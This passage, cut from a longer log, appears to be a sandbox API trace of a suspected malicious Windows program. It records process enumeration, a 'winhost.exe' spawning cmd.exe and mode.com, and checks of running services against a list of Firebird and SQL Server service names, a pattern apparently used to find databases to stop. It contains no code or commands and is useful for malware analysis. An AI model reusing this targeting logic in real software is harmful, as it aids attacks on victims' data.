hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.948] lstrlenW (lpString="svchost.exe") returned 11 [0231.948] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.948] lstrlenW (lpString="svchost.exe") returned 11 [0231.948] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.948] lstrlenW (lpString="svchost.exe") returned 11 [0231.948] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.949] lstrlenW (lpString="svchost.exe") returned 11 [0231.949] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.949] lstrlenW (lpString="svchost.exe") returned 11 [0231.949] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.949] lstrlenW (lpString="svchost.exe") returned 11 [0231.949] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0231.950] lstrlenW (lpString="spoolsv.exe") returned 11 [0231.950] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.950] lstrlenW (lpString="svchost.exe") returned 11 [0231.950] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.950] lstrlenW (lpString="audiodg.exe") returned 11 [0231.950] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.951] lstrlenW (lpString="svchost.exe") returned 11 [0231.951] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0231.951] lstrlenW (lpString="sihost.exe") returned 10 [0231.951] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0231.951] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0231.951] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0231.952] lstrlenW (lpString="Memory Compression") returned 18 [0231.952] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0231.952] lstrlenW (lpString="taskhostw.exe") returned 13 [0231.952] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0231.952] lstrlenW (lpString="userinit.exe") returned 12 [0231.952] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.953] lstrlenW (lpString="explorer.exe") returned 12 [0231.953] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0231.953] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0231.953] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0231.953] lstrlenW (lpString="SearchUI.exe") returned 12 [0231.953] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0231.954] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0231.954] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0231.954] lstrlenW (lpString="winhost.exe") returned 11 [0231.954] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0231.954] lstrlenW (lpString="cmd.exe") returned 7 [0231.954] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0231.955] lstrlenW (lpString="conhost.exe") returned 11 [0231.955] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0231.955] lstrlenW (lpString="mode.com") returned 8 [0231.955] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0231.955] lstrlenW (lpString="consent.exe") returned 11 [0231.955] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0231.956] lstrlenW (lpString="winhost.exe") returned 11 [0231.956] Process32NextW (in: hSnapshot=0x4cc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 0 [0231.956] CloseHandle (hObject=0x4cc) returned 1 [0231.956] Sleep (dwMilliseconds=0x1f4) [0232.622] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb198 [0232.623] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0232.623] GetLastError () returned 0xea [0232.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x5dfd18 [0232.623] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5dfd18, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5dfd18, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0232.624] CloseServiceHandle (hSCObject=0x40eb198) returned 1 [0232.624] lstrlenW (lpString="Appinfo") returned 7 [0232.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0232.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0232.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0232.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0232.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0232.624] lstrlenW (lpString="AppXSvc") returned 7 [0232.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0232.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0232.624] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0232.624] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0232.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0232.624] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0232.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0232.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0232.624] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0232.624] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0232.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0232.624] lstrlenW (lpString="Audiosrv") returned 8 [0232.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0232.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0232.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0232.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0232.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0232.625] lstrlenW (lpString="BFE") returned 3 [0232.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0232.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0232.625] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0232.625] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0232.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0232.625] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0232.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0232.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0232.625] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0232.625] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0232.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0232.625] lstrlenW (lpString="CDPSvc") returned 6 [0232.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0232.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0232.625] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0232.625] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0232.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0232.625] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0232.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0232.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0232.625] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0232.625] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0232.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0232.625] lstrlenW (lpString="CryptSvc") returned 8 [0232.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0232.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0232.625] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0232.625] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0232.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0232.625] lstrlenW (lpString="DcomLaunch") returned 10 [0232.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0232.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0232.625] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0232.625] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0232.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0232.625] lstrlenW (lpString="DeviceAssociationService") returned 24 [0232.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0232.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0232.625] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0232.625] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0232.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0232.626] lstrlenW (lpString="Dhcp") returned 4 [0232.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0232.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0232.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0232.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0232.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0232.626] lstrlenW (lpString="Dnscache") returned 8 [0232.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0232.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0232.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0232.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0232.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0232.626] lstrlenW (lpString="DPS") returned 3 [0232.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0232.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0232.626] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0232.626] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0232.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0232.626] lstrlenW (lpString="DusmSvc") returned 7 [0232.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0232.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0232.626] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0232.626] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0232.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0232.626] lstrlenW (lpString="EventLog") returned 8 [0232.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0232.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0232.626] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0232.626] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0232.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0232.626] lstrlenW (lpString="EventSystem") returned 11 [0232.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0232.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0232.626] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0232.626] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0232.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0232.626] lstrlenW (lpString="FontCache") returned 9 [0232.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0232.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0232.626] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0232.626] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0232.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0232.627] lstrlenW (lpString="gpsvc") returned 5 [0232.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0232.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0232.627] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0232.627] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0232.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0232.627] lstrlenW (lpString="iphlpsvc") returned 8 [0232.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0232.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0232.627] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0232.627] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0232.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0232.627] lstrlenW (lpString="KeyIso") returned 6 [0232.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0232.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0232.627] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0232.627] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0232.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0232.627] lstrlenW (lpString="LanmanServer") returned 12 [0232.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0232.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0232.627] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0232.627] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0232.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0232.627] lstrlenW (lpString="LanmanWorkstation") returned 17 [0232.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0232.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0232.627] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0232.627] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0232.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0232.627] lstrlenW (lpString="lfsvc") returned 5 [0232.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0232.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0232.627] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0232.627] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0232.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0232.627] lstrlenW (lpString="lmhosts") returned 7 [0232.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0232.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0232.627] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0232.628] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0232.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0232.628] lstrlenW (lpString="LSM") returned 3 [0232.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0232.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0232.628] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0232.628] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0232.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0232.628] lstrlenW (lpString="MpsSvc") returned 6 [0232.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0232.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0232.628] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0232.628] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0232.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0232.628] lstrlenW (lpString="NcbService") returned 10 [0232.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0232.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0232.628] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0232.628] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0232.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0232.628] lstrlenW (lpString="netprofm") returned 8 [0232.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0232.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0232.628] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0232.628] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0232.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0232.628] lstrlenW (lpString="NgcSvc") returned 6 [0232.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0232.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0232.628] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0232.628] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0232.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0232.628] lstrlenW (lpString="NlaSvc") returned 6 [0232.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0232.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0232.628] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0232.628] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0232.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0232.628] lstrlenW (lpString="nsi") returned 3 [0232.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0232.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0232.628] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0232.628] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0232.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0232.629] lstrlenW (lpString="PcaSvc") returned 6 [0232.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0232.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0232.629] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0232.629] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0232.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0232.629] lstrlenW (lpString="PlugPlay") returned 8 [0232.629] lstrcmpiW 